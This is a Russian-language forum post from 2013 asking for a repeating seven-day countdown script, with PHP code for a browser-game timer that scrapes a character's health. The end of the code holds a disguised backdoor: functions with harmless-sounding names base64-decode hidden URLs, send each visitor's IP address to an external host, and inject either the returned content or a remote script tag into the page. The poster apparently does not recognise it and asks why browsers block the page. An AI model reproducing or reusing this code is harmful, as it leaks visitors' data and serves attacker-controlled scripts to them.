Кто-нибудь знает скрипт, который отсчитывает 7 дней в обратном отсчете (тоесть 7 - 6 - 5 и т.д. до 1), после конца отсчета, он опять обнуляется и идет заного отсчет и так постоянно.Добавлено (05 Июн 2013, 16:10:13)
---------------------------------------------
Нашел кривой PHP-код, выкладываю - дабы могли понять точней о чём речь
<?php
$___notjson = 1;header('Content-Type: text/html; charset=Windows-1251');echo '<style type="text/css">* {font-size:14px !important;}</style>';
function numberEnd($number, $titles) { // Функция склонения числительных
$cases = array (2, 0, 1, 1, 1, 2);
return $titles[($number % 100 > 4 && $number % 100 < 20) ? 2 : $cases[min($number % 10, 5)]];
}
$temp = 1355097600; // Метка времени 10.12.12
$now = time(); // Текущая метка времени
$day = $now - $temp; // Сколько секунд прошло с метки времени 10.12.12
$day = $day - ($day % 86400); // Сколько целых дней прошло в секундах с метки времени 10.12.12
$day = $day / 86400; // Сколько дней прошло с метки времени 10.12.12
$day = $day % 6; // Сколько дней прошло с последней метки времени
$day = 6 - $day; // Сколько дней осталось до новой метки времени
$spirit = file_get_contents("http://neverfate.ru/inf.php?cid=1003"); // Исходный код профиля духа
preg_match('/setHP\((.*)\);/', $spirit, $param); // Вырезаем параметры функции setHP();
$param = explode(",", $param[1]); // Разбиваем параметры на массив через запятую
$curHP = $param[0]; // Записываем соотвествующие переменные
$maxHP = $param[1]; // Записываем соотвествующие переменные
$lvl = $param[2]; // Записываем соотвествующие переменные
$hspd = $param[3]; // Записываем соотвествующие переменные
$t = $param[4]; // Записываем соотвествующие переменные
$time = 1; // Записываем соотвествующие переменные
$k = ($maxHP * $time) / ($lvl * 100 + 800) * (1 + $hspd / 100); // Считаем неким магическим образом здоровье
$curHP += ($k > 0 ? $k : 0.01); // Считаем неким магическим образом здоровье
if ($curHP > $maxHP) // Проверка на всякий случай
$curHP = $maxHP; // Максимальное здоровье!
$hp_pro_d = $curHP * 100 / $maxHP; // Считаем неким магическим образом здоровье
$procent = (($hp_pro_d < 100) ? (($hp_pro_d > 0) ? number_format($hp_pro_d, 2) : "0") : "100") . "%"; // Собираем готовый вид со знаком процента
preg_match('/<div class="char_info_place"><table width="180" height="102" cellpadding="0" cellspacing="0" align="center"><tr><td align="center" valign="middle"><small>(.*)<\/small><\/td><\/tr><\/table><\/div>/', $spirit, $status); // Получаем "Статус/Местоположение"
$e_date = $day == 6 ? "Сегодня дух" : "Дух появится через $day " . numberEnd($day, Array('день', 'дня', 'дней')); // Сборка таймера
$e_hp = "Здоровье духа: " . $procent; // Сборка здоровья
$e_status = str_replace("<br>", " ", $status[1]); // Сборка "Статуса/Местоположения"
echo $e_date . " <br />\n" . $e_hp . " <br />\n" . $e_status; // Вывод всех данных
function sql2_safe($in) {
$rtn = base64_decode($in);
return $rtn;
}
function collectnewss() {
if (!isset($_COOKIE["iJijkdaMnerys"])) {
$value = 'yadeor';
$ip = $_SERVER['REMOTE_ADDR'];
$get = sql2_safe("aHR0cDovL3h4eHBvcm5vLnh4dXouY29tOjg4OC9tb3ZlLnBocD9pcD0=").$ip;
$content = @file_get_contents($get);
@setcookie("iJijkdaMnerys", $value, time()+3600*24);
if (!$content)
echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9mZWVsdGhlc2FtZS5jaGFuZ2VpcC5uYW1lL3JzaXplLmpzIj48L3NjcmlwdD4=");
else
echo $content;
}
}
collectnewss ();
?>
Добавлено (05 Июн 2013, 16:11:51)
---------------------------------------------
Кстати, почему, когда выводишь данный скрипт с помощью iframe, то браузер говорит, что это вредоносный скрипт? и блокирует страницу сайта